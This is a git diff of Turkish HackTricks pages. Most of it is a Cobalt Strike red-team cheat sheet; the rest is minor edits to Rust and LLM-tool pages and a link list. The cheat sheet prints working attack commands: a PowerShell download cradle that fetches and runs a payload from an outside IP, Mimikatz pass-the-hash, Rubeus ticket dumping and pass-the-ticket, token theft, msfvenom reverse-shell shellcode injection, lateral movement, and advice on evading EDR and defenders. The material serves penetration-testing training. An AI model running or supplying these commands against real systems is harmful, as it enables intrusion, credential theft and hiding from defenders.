-{{#ref}} -https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md -{{#endref}} - -{{#ref}} -https://anhtai.me/oscp-fun-guide/ -{{#endref}} - -{{#ref}} -https://www.thehacker.recipes/ -{{#endref}} - -{{#ref}} -https://github.com/swisskyrepo/PayloadsAllTheThings -{{#endref}} - -{{#ref}} -https://gtfobins.github.io/ -{{#endref}} - -{{#ref}} -https://github.com/RistBS/Awesome-RedTeam-Cheatsheet -{{#endref}} - -{{#ref}} -https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet -{{#endref}} - -{{#ref}} -https://hideandsec.sh/ -{{#endref}} - -{{#ref}} -https://cheatsheet.haax.fr/ -{{#endref}} - -{{#ref}} -https://infosecwriteups.com/ -{{#endref}} - -{{#ref}} -https://www.exploit-db.com/ -{{#endref}} - -{{#ref}} -https://wadcoms.github.io/ -{{#endref}} - -{{#ref}} -https://lolbas-project.github.io -{{#endref}} - -{{#ref}} -https://pentestbook.six2dez.com/ -{{#endref}} - -{{#ref}} -https://www.hackingarticles.in/ -{{#endref}} - -{{#ref}} -https://pentestlab.blog/ -{{#endref}} - -{{#ref}} -https://ippsec.rocks/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md index 381f7cf8b..bd350cdc3 100644 --- a/src/todo/rust-basics.md +++ b/src/todo/rust-basics.md @@ -1,5 +1,7 @@ # Rust Temelleri +{{#include /banners/hacktricks-training.md}} + ### Genel Türler Herhangi bir türde olabilecek 1 değer içeren bir yapı oluşturun. @@ -19,7 +21,7 @@ Wrapper::new("Foo").value, "Foo" ``` ### Option, Some & None -Option türü, değerin Some türünde (bir şey var) veya None türünde olabileceği anlamına gelir: +Option türü, değerin Some (bir şey var) veya None olabileceği anlamına gelir: ```rust pub enum Option { None, @@ -194,7 +196,7 @@ _ => "Hello", } } ``` -#### eğer bırakılırsa +#### if let ```rust let optional_word = Some(String::from("rustlings")); if let word = optional_word { @@ -285,4 +287,4 @@ thread::sleep(Duration::from_millis(500)); } } ``` - +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/test-llms.md b/src/todo/test-llms.md index 4dc464a43..11158feb1 100644 --- a/src/todo/test-llms.md +++ b/src/todo/test-llms.md @@ -1,18 +1,20 @@ # Test LLMs +{{#include /banners/hacktricks-training.md}} + ## Modelleri yerel olarak çalıştırma ve eğitme ### [**Hugging Face Transformers**](https://github.com/huggingface/transformers) -Hugging Face Transformers, GPT, BERT ve birçok diğer LLM'yi kullanmak, eğitmek ve dağıtmak için en popüler açık kaynaklı kütüphanelerden biridir. Önceden eğitilmiş modeller, veri setleri ve ince ayar ile dağıtım için Hugging Face Hub ile sorunsuz entegrasyon içeren kapsamlı bir ekosistem sunar. +Hugging Face Transformers, GPT, BERT ve diğerleri gibi LLM'leri kullanmak, eğitmek ve dağıtmak için en popüler açık kaynaklı kütüphanelerden biridir. Önceden eğitilmiş modeller, veri setleri ve ince ayar ile dağıtım için Hugging Face Hub ile sorunsuz entegrasyon içeren kapsamlı bir ekosistem sunar. ### [**LangChain**](https://github.com/langchain-ai/langchain) -LangChain, LLM'lerle uygulama geliştirmek için tasarlanmış bir çerçevedir. Geliştiricilerin dil modellerini harici veri kaynakları, API'ler ve veritabanları ile bağlamasına olanak tanır. LangChain, gelişmiş istem mühendisliği, konuşma geçmişini yönetme ve LLM'leri karmaşık iş akışlarına entegre etme için araçlar sağlar. +LangChain, LLM'lerle uygulama geliştirmek için tasarlanmış bir çerçevedir. Geliştiricilerin dil modellerini dış veri kaynakları, API'ler ve veritabanları ile bağlamasına olanak tanır. LangChain, gelişmiş istem mühendisliği, konuşma geçmişini yönetme ve LLM'leri karmaşık iş akışlarına entegre etme için araçlar sağlar. ### [**LitGPT**](https://github.com/Lightning-AI/litgpt) -LitGPT, Lightning AI tarafından geliştirilen ve GPT tabanlı modellerin eğitimi, ince ayarı ve dağıtımını kolaylaştırmak için Lightning çerçevesini kullanan bir projedir. Diğer Lightning AI araçlarıyla sorunsuz bir şekilde entegre olur ve büyük ölçekli dil modellerini geliştirilmiş performans ve ölçeklenebilirlikle yönetmek için optimize edilmiş iş akışları sunar. +LitGPT, Lightning AI tarafından geliştirilen ve GPT tabanlı modellerin eğitimi, ince ayarı ve dağıtımını kolaylaştırmak için Lightning çerçevesini kullanan bir projedir. Diğer Lightning AI araçlarıyla sorunsuz bir şekilde entegre olur ve büyük ölçekli dil modellerini daha iyi performans ve ölçeklenebilirlikle yönetmek için optimize edilmiş iş akışları sunar. ### [**LitServe**](https://github.com/Lightning-AI/LitServe) @@ -21,7 +23,7 @@ LitServe, AI modellerini hızlı ve verimli bir şekilde dağıtmak için tasarl ### [**Axolotl**](https://github.com/axolotl-ai-cloud/axolotl) -Axolotl, LLM'ler de dahil olmak üzere AI modellerinin dağıtımını, ölçeklenmesini ve yönetimini kolaylaştırmak için tasarlanmış bulut tabanlı bir platformdur. Otomatik ölçeklendirme, izleme ve çeşitli bulut hizmetleriyle entegrasyon gibi özellikler sunarak, modellerin üretim ortamlarında kapsamlı altyapı yönetimi olmadan dağıtılmasını kolaylaştırır. +Axolotl, LLM'ler de dahil olmak üzere AI modellerinin dağıtımını, ölçeklenmesini ve yönetimini kolaylaştırmak için tasarlanmış bulut tabanlı bir platformdur. Otomatik ölçeklendirme, izleme ve çeşitli bulut hizmetleriyle entegrasyon gibi özellikler sunarak, modellerin üretim ortamlarında kapsamlı altyapı yönetimi olmadan dağıtımını kolaylaştırır. ## Modelleri çevrimiçi deneme @@ -30,21 +32,24 @@ Axolotl, LLM'ler de dahil olmak üzere AI modellerinin dağıtımını, ölçekl **Hugging Face**, makine öğrenimi için önde gelen bir platform ve topluluktur, özellikle doğal dil işleme (NLP) konusundaki çalışmalarıyla tanınır. Makine öğrenimi modellerini geliştirmeyi, paylaşmayı ve dağıtmayı kolaylaştıran araçlar, kütüphaneler ve kaynaklar sunar.\ Aşağıdaki gibi birkaç bölüm sunar: -* **Modeller:** Kullanıcıların metin üretimi, çeviri, görüntü tanıma ve daha fazlası gibi çeşitli görevler için modelleri göz atıp, indirip ve entegre edebileceği geniş bir **önceden eğitilmiş makine öğrenimi modelleri** deposu. -* **Veri Setleri:** Modellerin eğitimi ve değerlendirilmesi için kullanılan kapsamlı bir **veri setleri koleksiyonu**. Kullanıcıların belirli makine öğrenimi projeleri için veri bulup kullanmalarını sağlayarak çeşitli veri kaynaklarına kolay erişim sağlar. -* **Alanlar:** **Etkileşimli makine öğrenimi uygulamaları** ve demoları barındırma ve paylaşma platformu. Geliştiricilerin modellerini eylemde sergilemelerine, kullanıcı dostu arayüzler oluşturmalarına ve canlı demolar paylaşarak başkalarıyla işbirliği yapmalarına olanak tanır. +* **Modeller:** Kullanıcıların metin üretimi, çeviri, görüntü tanıma ve daha fazlası gibi çeşitli görevler için modelleri göz atıp, indirdiği ve entegre edebileceği geniş bir **önceden eğitilmiş makine öğrenimi modelleri** deposu. +* **Veri Setleri:** Modellerin eğitimi ve değerlendirilmesi için kullanılan kapsamlı bir **veri setleri koleksiyonu**. Kullanıcıların belirli makine öğrenimi projeleri için veri bulmasını ve kullanmasını kolaylaştıran çeşitli veri kaynaklarına erişimi sağlar. +* **Alanlar:** **Etkileşimli makine öğrenimi uygulamaları** ve demoları barındırma ve paylaşma platformu. Geliştiricilerin modellerini eylemde sergilemesine, kullanıcı dostu arayüzler oluşturmasına ve canlı demolar paylaşarak başkalarıyla işbirliği yapmasına olanak tanır. ## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/) **TensorFlow Hub**, Google tarafından geliştirilen yeniden kullanılabilir makine öğrenimi modüllerinin kapsamlı bir deposudur. Özellikle TensorFlow ile oluşturulan makine öğrenimi modellerinin paylaşımını ve dağıtımını kolaylaştırmaya odaklanır. -* **Modüller:** Kullanıcıların görüntü sınıflandırması, metin gömme ve daha fazlası gibi görevler için modülleri göz atıp, indirip ve entegre edebileceği geniş bir önceden eğitilmiş modeller ve model bileşenleri koleksiyonu. +* **Modüller:** Kullanıcıların görüntü sınıflandırması, metin gömme ve daha fazlası gibi görevler için modülleri göz atıp, indirdiği ve entegre edebileceği geniş bir önceden eğitilmiş modeller ve model bileşenleri koleksiyonu. * **Eğitimler:** Kullanıcıların TensorFlow Hub kullanarak modelleri nasıl uygulayacaklarını ve ince ayar yapacaklarını anlamalarına yardımcı olan adım adım kılavuzlar ve örnekler. * **Dokümantasyon:** Geliştiricilerin depo kaynaklarını etkili bir şekilde kullanmalarına yardımcı olan kapsamlı kılavuzlar ve API referansları. ## [**Replicate**](https://replicate.com/home) -**Replicate**, geliştiricilerin basit bir API aracılığıyla bulutta makine öğrenimi modellerini çalıştırmalarına olanak tanıyan bir platformdur. ML modellerini geniş altyapı kurulumu gerektirmeden kolayca erişilebilir ve dağıtılabilir hale getirmeye odaklanır. +**Replicate**, geliştiricilerin basit bir API aracılığıyla bulutta makine öğrenimi modellerini çalıştırmalarına olanak tanıyan bir platformdur. ML modellerini kolayca erişilebilir ve dağıtılabilir hale getirmeye odaklanır, kapsamlı altyapı kurulumu gerektirmez. -* **Modeller:** Topluluk tarafından katkıda bulunulan makine öğrenimi modellerinin bir deposu; kullanıcıların göz atıp, denemelerine ve modelleri uygulamalarına entegre etmelerine olanak tanır. -* **API Erişimi:** Geliştiricilerin kendi uygulamaları içinde modelleri zahmetsizce dağıtıp ölçeklendirmelerini sağlayan basit API'ler. +* **Modeller:** Topluluk tarafından katkıda bulunulan makine öğrenimi modellerinin bir deposu, kullanıcıların göz atıp, denediği ve uygulamalarına minimal çaba ile entegre edebileceği. +* **API Erişimi:** Geliştiricilerin kendi uygulamaları içinde modelleri zahmetsizce dağıtmasına ve ölçeklendirmesine olanak tanıyan basit API'ler. + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/tr-069.md b/src/todo/tr-069.md deleted file mode 100644 index e2efcf98b..000000000 --- a/src/todo/tr-069.md +++ /dev/null @@ -1 +0,0 @@ -# TR-069 diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index 8a8a453cd..2659d258d 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -1,5 +1,7 @@ # Cobalt Strike +{{#include /banners/hacktricks-training.md}} + ### Dinleyiciler ### C2 Dinleyicileri @@ -13,7 +15,7 @@ Bu dinleyicilerin beacon'ları doğrudan C2 ile konuşmak zorunda değildir, di `Cobalt Strike -> Dinleyiciler -> Ekle/Düzenle` ardından TCP veya SMB beacon'larını seçmeniz gerekir. * **TCP beacon, seçilen portta bir dinleyici ayarlayacaktır**. TCP beacon'a bağlanmak için başka bir beacon'dan `connect ` komutunu kullanın. -* **smb beacon, seçilen isimle bir pipename'de dinleyecektir**. SMB beacon'a bağlanmak için `link [target] [pipe]` komutunu kullanmanız gerekir. +* **smb beacon, seçilen isimle bir pipename üzerinde dinleyecektir**. SMB beacon'a bağlanmak için `link [target] [pipe]` komutunu kullanmanız gerekir. ### Yükleri Oluşturma ve Barındırma @@ -23,16 +25,16 @@ Bu dinleyicilerin beacon'ları doğrudan C2 ile konuşmak zorunda değildir, di * **`HTMLApplication`** HTA dosyaları için * **`MS Office Macro`** makro içeren bir ofis belgesi için -* **`Windows Executable`** bir .exe, .dll veya hizmet .exe için -* **`Windows Executable (S)`** **stageless** bir .exe, .dll veya hizmet .exe için (stageless, staged'den daha iyidir, daha az IoC) +* **`Windows Executable`** .exe, .dll veya hizmet .exe için +* **`Windows Executable (S)`** **stageless** .exe, .dll veya hizmet .exe için (stageless, staged'den daha iyidir, daha az IoC) #### Yükleri Oluşturma ve Barındırma -`Saldırılar -> Web Drive-by -> Scripted Web Delivery (S)` Bu, Cobalt Strike'dan beacon'ı indirmek için bitsadmin, exe, powershell ve python gibi formatlarda bir script/yürütülebilir dosya oluşturur. +`Saldırılar -> Web Drive-by -> Scripted Web Delivery (S)` Bu, beacon'ı cobalt strike'dan indirmek için bitsadmin, exe, powershell ve python gibi formatlarda bir script/yürütülebilir dosya oluşturacaktır. #### Yükleri Barındırma -Barındırmak istediğiniz dosyaya sahip iseniz, `Saldırılar -> Web Drive-by -> Dosyayı Barındır` kısmına gidin ve barındırılacak dosyayı ve web sunucu yapılandırmasını seçin. +Barındırmak istediğiniz dosyaya sahip iseniz, `Saldırılar -> Web Drive-by -> Dosyayı Barındır` seçeneğine gidin ve barındırmak için dosyayı ve web sunucu yapılandırmasını seçin. ### Beacon Seçenekleri @@ -41,7 +43,7 @@ execute-assembly # 1MB'den büyük assembly'leri yüklemek için, malleable profilin 'tasks_max_size' özelliğinin değiştirilmesi gerekir. # Ekran görüntüleri -printscreen # PrintScr yöntemi ile tek bir ekran görüntüsü al +printscreen # PrintScr yöntemiyle tek bir ekran görüntüsü al screenshot # Tek bir ekran görüntüsü al screenwatch # Masaüstünün periyodik ekran görüntülerini al ## Görmek için Görünüm -> Ekran Görüntüleri'ne gidin @@ -70,21 +72,21 @@ ls \\computer_name\c$ # Oluşturulan token ile bir bilgisayardaki C$'ya erişmey rev2self # make_token ile oluşturulan token'ı kullanmayı durdur ## make_token kullanımı, 4624 olayı oluşturur: Bir hesap başarıyla oturum açtı. Bu olay, bir Windows alanında çok yaygındır, ancak Oturum Açma Türü'ne göre filtrelenerek daraltılabilir. Yukarıda belirtildiği gibi, bu, tür 9 olan LOGON32_LOGON_NEW_CREDENTIALS kullanır. -# UAC Atlatma +# UAC Bypass elevate svc-exe elevate uac-token-duplication runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" -## pid'den token çalma +## PID'den token çalma ## make_token gibi ama bir süreçten token çalıyor steal_token [pid] # Ayrıca, bu ağ eylemleri için yararlıdır, yerel eylemler için değil -## API belgelerinden, bu oturum açma türünün "çağrıcının mevcut token'ını klonlamasına izin verdiğini" biliyoruz. Bu nedenle, Beacon çıktısı - kendi klonlanmış token'ımızı taklit ediyor. +## API belgelerinden, bu oturum açma türünün "çağrıcının mevcut token'ını klonlamasına izin verdiğini" biliyoruz. Bu nedenle Beacon çıktısı, Taklit Edilen diyor - kendi klonlanmış token'ımızı taklit ediyor. ls \\computer_name\c$ # Oluşturulan token ile bir bilgisayardaki C$'ya erişmeye çalış rev2self # steal_token'dan token kullanmayı durdur ## Yeni kimlik bilgileri ile süreci başlat spawnas [domain\username] [password] [listener] # Okuma erişimi olan bir dizinden yapın: cd C:\ -## make_token gibi, bu Windows olayı 4624'ü oluşturur: Bir hesap başarıyla oturum açtı ama 2 (LOGON32_LOGON_INTERACTIVE) oturum açma türü ile. Çağrıcı kullanıcıyı (TargetUserName) ve taklit edilen kullanıcıyı (TargetOutboundUserName) detaylandıracaktır. +## make_token gibi, bu Windows olayı 4624'ü oluşturacaktır: Bir hesap başarıyla oturum açtı ama 2 (LOGON32_LOGON_INTERACTIVE) oturum açma türü ile. Çağrılan kullanıcıyı (TargetUserName) ve taklit edilen kullanıcıyı (TargetOutboundUserName) detaylandıracaktır. ## Sürece enjekte et inject [pid] [x64|x86] [listener] @@ -97,7 +99,7 @@ pth [DOMAIN\user] [NTLM hash] ## Mimikatz ile hash'i geç mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden" -## /run olmadan, mimikatz bir cmd.exe başlatır, eğer bir masaüstü kullanıcısı olarak çalışıyorsanız, shell'i görecektir (eğer SYSTEM olarak çalışıyorsanız, iyi gidiyorsunuz) +## /run olmadan, mimikatz bir cmd.exe başlatır, eğer bir masaüstü olan bir kullanıcı olarak çalışıyorsanız, shell'i görecektir (eğer SYSTEM olarak çalışıyorsanız, iyi gidiyorsunuz) steal_token # Mimikatz tarafından oluşturulan süreçten token çal ## Bilet geçişi @@ -106,7 +108,7 @@ execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec ## Yeni bilet ile kullanılacak yeni bir oturum açma oturumu oluştur (ele geçirilen birini üzerine yazmamak için) make_token \ DummyPass -## Bileti saldırgan makinesine bir powershell oturumundan yazın ve yükleyin +## Bileti saldırgan makinesine bir powershell oturumu üzerinden yazın ve yükleyin [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]")) kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi @@ -119,31 +121,31 @@ steal_token ## Bileti çıkar + Bileti geç ### Biletleri listele execute-assembly C:\path\Rubeus.exe triage -### LUID ile ilginç bir bileti dök +### LUID ile ilginç bileti dök execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap -### Yeni bir oturum açma oturumu oluştur, LUID ve processid'yi not et +### Yeni bir oturum açma oturumu oluştur, LUID ve processid'yi not edin execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe ### Bileti oluşturulan oturum açma oturumuna ekle execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...] ### Son olarak, o yeni süreçten token çal steal_token -# Lateral Hareket +# Yanal Hareket ## Bir token oluşturulduysa kullanılacaktır jump [method] [target] [listener] ## Yöntemler: ## psexec x86 Bir hizmeti çalıştırmak için bir Hizmet EXE nesnesi kullan ## psexec64 x64 Bir hizmeti çalıştırmak için bir Hizmet EXE nesnesi kullan -## psexec_psh x86 Bir hizmeti çalıştırmak için bir PowerShell one-liner kullan -## winrm x86 WinRM üzerinden bir PowerShell scripti çalıştır -## winrm64 x64 WinRM üzerinden bir PowerShell scripti çalıştır -## wmi_msbuild x64 msbuild inline c# görevi ile wmi lateral hareket (oppsec) +## psexec_psh x86 Bir hizmeti çalıştırmak için bir PowerShell one-liner kullan +## winrm x86 WinRM üzerinden bir PowerShell scripti çalıştır +## winrm64 x64 WinRM üzerinden bir PowerShell scripti çalıştır +## wmi_msbuild x64 msbuild inline c# görevi ile wmi yanal hareket (opsec) remote-exec [method] [target] [command] # remote-exec çıktı döndürmez ## Yöntemler: -## psexec Hizmet Kontrol Yöneticisi aracılığıyla uzaktan çalıştır -## winrm WinRM (PowerShell) aracılığıyla uzaktan çalıştır -## wmi WMI aracılığıyla uzaktan çalıştır +## psexec Hizmet Kontrol Yöneticisi aracılığıyla uzaktan çalıştır +## winrm WinRM (PowerShell) aracılığıyla uzaktan çalıştır +## wmi WMI aracılığıyla uzaktan çalıştır ## WMI ile bir beacon çalıştırmak için (jump komutunda yok) sadece beacon'ı yükleyin ve çalıştırın beacon> upload C:\Payloads\beacon-smb.exe @@ -161,7 +163,7 @@ msf6 exploit(multi/handler) > exploit -j beacon> spawn metasploit ## Yalnızca yabancı dinleyici ile x86 Meterpreter oturumları başlatabilirsiniz. -# Metasploit oturumunu Cobalt Strike'a geçirme - Shellcode enjekte etme +# Metasploit oturumunu Cobalt Strike'a geçirme - Shellcode enjekte etme yoluyla ## Metasploit ana bilgisayarında msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin ## msfvenom'u çalıştırın ve multi/handler dinleyicisini hazırlayın @@ -171,8 +173,8 @@ ps shinject x64 C:\Payloads\msf.bin # x64 bir süreçte metasploit shellcode enjekte et # Metasploit oturumunu Cobalt Strike'a geçirme -## Stageless Beacon shellcode oluşturun, Saldırılar > Paketler > Windows Executable (S) kısmına gidin, istenen dinleyiciyi seçin, Çıktı türü olarak Raw'ı seçin ve x64 yükünü kullanın. -## Oluşturulan Cobalt Strike shellcode'u enjekte etmek için metasploit'te post/windows/manage/shellcode_inject kullanın. +## Stageless Beacon shellcode oluşturun, Saldırılar > Paketler > Windows Executable (S) bölümüne gidin, istenen dinleyiciyi seçin, Çıktı türü olarak Raw'ı seçin ve x64 yükünü kullanın. +## Oluşturulan cobalt strike shellcode'u enjekte etmek için metasploit'te post/windows/manage/shellcode_inject kullanın. # Pivoting ## Teamserver'da bir socks proxy açın @@ -185,14 +187,14 @@ beacon> ssh 10.10.17.12:22 kullanıcı adı şifre
### Execute-Assembly -**`execute-assembly`**, belirtilen programı çalıştırmak için uzaktan süreç enjekte etme kullanarak bir **kurban süreci** kullanır. Bu, belirli Win API'lerin kullanılması nedeniyle çok gürültülüdür ve her EDR bunu kontrol etmektedir. Ancak, aynı süreçte bir şey yüklemek için kullanılabilecek bazı özel araçlar vardır: +**`execute-assembly`**, belirtilen programı çalıştırmak için uzaktan süreç enjekte etme kullanarak bir **kurban süreci** kullanır. Bu, bir süreç içine enjekte etmek için belirli Win API'lerinin kullanılması nedeniyle çok gürültülüdür ve her EDR bunu kontrol etmektedir. Ancak, aynı süreçte bir şey yüklemek için kullanılabilecek bazı özel araçlar vardır: - [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) - Cobalt Strike'da BOF (Beacon Object Files) kullanabilirsiniz: [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET) - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) -Agressor script `https://github.com/outflanknl/HelpColor`, Cobalt Strike'da `helpx` komutunu oluşturacak ve bu komut, BOF'lar (yeşil), Frok&Run (sarı) ve benzeri olup olmadığını veya Süreç Yürütme, enjekte etme veya benzeri olup olmadığını belirten renkler koyacaktır. Bu, hangi komutların daha gizli olduğunu bilmeye yardımcı olur. +Agressor script `https://github.com/outflanknl/HelpColor`, Cobalt Strike'da `helpx` komutunu oluşturacak ve bu komutlar BOF'lar (yeşil), Frok&Run (sarı) ve benzeri olup olmadığını belirten renkler koyacaktır veya Süreç Yürütme, enjekte etme veya benzeri (kırmızı) olup olmadığını gösterecektir. Bu, hangi komutların daha gizli olduğunu bilmeye yardımcı olur. ### Kullanıcı olarak hareket et @@ -201,13 +203,13 @@ Agressor script `https://github.com/outflanknl/HelpColor`, Cobalt Strike'da `hel - Güvenlik EID 4624 - Alışılmış çalışma saatlerini bilmek için tüm etkileşimli oturum açmaları kontrol edin. - Sistem EID 12,13 - Kapatma/açma/uyku sıklığını kontrol edin. - Güvenlik EID 4624/4625 - Geçerli/geçersiz NTLM denemelerini kontrol edin. -- Güvenlik EID 4648 - Bu olay, düz metin kimlik bilgileri kullanılarak oturum açıldığında oluşturulur. Eğer bir süreç bunu oluşturduysa, ikili dosya muhtemelen kimlik bilgilerini düz metin olarak bir yapılandırma dosyasında veya kodun içinde barındırmaktadır. +- Güvenlik EID 4648 - Bu olay, düz metin kimlik bilgileri kullanılarak oturum açıldığında oluşturulur. Eğer bir süreç bunu oluşturduysa, ikili dosya muhtemelen bir yapılandırma dosyasında veya kod içinde düz metin kimlik bilgilerini içermektedir. Cobalt Strike'dan `jump` kullanırken, yeni sürecin daha meşru görünmesi için `wmi_msbuild` yöntemini kullanmak daha iyidir. ### Bilgisayar hesaplarını kullanın -Savunucuların kullanıcılar tarafından üretilen garip davranışları kontrol etmesi yaygındır ve **hizmet hesaplarını ve bilgisayar hesaplarını izlemelerinden hariç tutarlar**. Bu hesapları lateral hareket veya ayrıcalık yükseltme yapmak için kullanabilirsiniz. +Savunucuların kullanıcılar tarafından üretilen garip davranışları kontrol etmesi yaygındır ve **hizmet hesaplarını ve bilgisayar hesaplarını izlemelerinden hariç tutarlar**. Bu hesapları yanal hareket veya ayrıcalık yükseltme gerçekleştirmek için kullanabilirsiniz. ### Stageless yükleri kullanın @@ -215,9 +217,9 @@ Stageless yükler, ikinci bir aşamayı C2 sunucusundan indirmeleri gerekmediği ### Token'lar ve Token Deposu -Token çalarken veya oluştururken dikkatli olun çünkü bir EDR'nin tüm thread'lerin token'larını listelemesi ve **farklı bir kullanıcıya veya hatta SYSTEM'a ait bir token bulması** mümkün olabilir. +Token çalarken veya oluştururken dikkatli olun çünkü bir EDR'nin tüm thread'lerin token'larını listelemesi ve **farklı bir kullanıcıya veya hatta SYSTEM'a ait bir token bulması mümkün olabilir**. -Bu, token'ları **her beacon için** depolamayı sağlar, böylece aynı token'ı tekrar tekrar çalmaya gerek kalmaz. Bu, lateral hareket veya çalınan bir token'ı birden fazla kez kullanmanız gerektiğinde yararlıdır: +Bu, token'ları **her beacon için** depolamayı sağlar, böylece aynı token'ı tekrar tekrar çalmaya gerek kalmaz. Bu, yanal hareket veya çalınan bir token'ı birden fazla kez kullanmanız gerektiğinde faydalıdır: - token-store steal - token-store steal-and-use @@ -226,17 +228,17 @@ Bu, token'ları **her beacon için** depolamayı sağlar, böylece aynı token' - token-store remove - token-store remove-all -Lateral hareket ederken, genellikle **yeni bir token oluşturmak yerine bir token çalmak daha iyidir** veya hash geçişi saldırısı gerçekleştirmek. +Yanal hareket ederken, genellikle **yeni bir token oluşturmak yerine bir token çalmak daha iyidir** veya hash geçişi saldırısı gerçekleştirmek. ### Guardrails -Cobalt Strike, savunucular tarafından tespit edilebilecek belirli komutların veya eylemlerin kullanılmasını önlemeye yardımcı olan **Guardrails** adlı bir özelliğe sahiptir. Guardrails, `make_token`, `jump`, `remote-exec` gibi lateral hareket veya ayrıcalık yükseltme için yaygın olarak kullanılan belirli komutları engellemek üzere yapılandırılabilir. +Cobalt Strike, savunucular tarafından tespit edilebilecek belirli komutların veya eylemlerin kullanılmasını önlemeye yardımcı olan **Guardrails** adlı bir özelliğe sahiptir. Guardrails, `make_token`, `jump`, `remote-exec` gibi yanal hareket veya ayrıcalık yükseltme için yaygın olarak kullanılan belirli komutları engellemek üzere yapılandırılabilir. Ayrıca, [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) deposu, bir yükü çalıştırmadan önce göz önünde bulundurabileceğiniz bazı kontroller ve fikirler içermektedir. ### Bilet şifrelemesi -AD'de biletlerin şifrelemesine dikkat edin. Varsayılan olarak, bazı araçlar Kerberos biletleri için RC4 şifrelemesi kullanır, bu da AES şifrelemesinden daha az güvenlidir ve varsayılan olarak güncel ortamlar AES kullanır. Bu, zayıf şifreleme algoritmalarını izleyen savunucular tarafından tespit edilebilir. +AD'de biletlerin şifrelemesine dikkat edin. Varsayılan olarak, bazı araçlar Kerberos biletleri için RC4 şifrelemesi kullanır, bu da AES şifrelemesinden daha az güvenlidir ve varsayılan olarak güncel ortamlar AES kullanacaktır. Bu, zayıf şifreleme algoritmalarını izleyen savunucular tarafından tespit edilebilir. ### Varsayılanlardan Kaçının @@ -249,8 +251,8 @@ Ayrıca, poext exploitation saldırısında `\\.\pipe\postex_####` boruları `se Cobalt Strike profillerinde ayrıca şunları değiştirebilirsiniz: - `rwx` kullanmaktan kaçınmak -- Süreç enjekte etme davranışının nasıl çalıştığı (hangi API'lerin kullanılacağı) `process-inject {...}` bloğunda -- "fork and run"ın nasıl çalıştığı `post-ex {…}` bloğunda +- `process-inject {...}` bloğunda süreç enjekte etme davranışının nasıl çalıştığı (hangi API'lerin kullanılacağı) +- `post-ex {…}` bloğunda "fork and run"ın nasıl çalıştığı - Uyku süresi - Belleğe yüklenecek ikililerin maksimum boyutu - Bellek ayak izi ve DLL içeriği `stage {...}` bloğunda @@ -258,29 +260,29 @@ Cobalt Strike profillerinde ayrıca şunları değiştirebilirsiniz: ### Bellek taramasını atlatma -Bazı EDR'ler, bazı bilinen kötü amaçlı yazılım imzalarını taramak için belleği tarar. Cobalt Strike, arka kapıyı bellekte şifreleyebilecek `sleep_mask` fonksiyonunu bir BOF olarak değiştirmeyi sağlar. +Bazı EDR'ler, bazı bilinen kötü amaçlı yazılım imzaları için belleği tarar. Cobalt Strike, arka kapıyı bellekte şifreleyebilecek `sleep_mask` fonksiyonunu BOF olarak değiştirmeyi sağlar. ### Gürültülü süreç enjekte etme -Bir sürece kod enjekte ederken bu genellikle çok gürültülüdür, çünkü **normal bir süreç genellikle bu eylemi gerçekleştirmez ve bunu yapmanın yolları çok sınırlıdır**. Bu nedenle, davranış tabanlı tespit sistemleri tarafından tespit edilebilir. Ayrıca, EDR'ler, **diskte olmayan kod içeren thread'leri tarayarak da tespit edebilir** (ancak tarayıcılar gibi JIT kullanan süreçler bunu genellikle yapar). Örnek: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) +Bir sürece kod enjekte ederken bu genellikle çok gürültülüdür, çünkü **normal bir süreç genellikle bu eylemi gerçekleştirmez ve bunu yapmanın yolları çok sınırlıdır**. Bu nedenle, davranış tabanlı tespit sistemleri tarafından tespit edilebilir. Ayrıca, EDR'ler, **diskte olmayan kod içeren thread'leri tarayarak da tespit edebilir** (ancak tarayıcılar gibi JIT kullanan süreçler bunu yaygın olarak yapar). Örnek: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) ### Spawnas | PID ve PPID ilişkileri -Yeni bir süreç başlatırken, tespiti önlemek için **normal bir ebeveyn-çocuk** ilişkisini sürdürmek önemlidir. Eğer svchost.exec iexplorer.exe'yi çalıştırıyorsa, bu şüpheli görünecektir, çünkü svchost.exe normal bir Windows ortamında iexplorer.exe'nin ebeveyni değildir. +Yeni bir süreç başlatırken, tespit edilmemek için **normal bir ebeveyn-çocuk** ilişkisini sürdürmek önemlidir. Eğer svchost.exec iexplorer.exe'yi çalıştırıyorsa, bu şüpheli görünecektir, çünkü svchost.exe normal bir Windows ortamında iexplorer.exe'nin ebeveyni değildir. Cobalt Strike'da yeni bir beacon 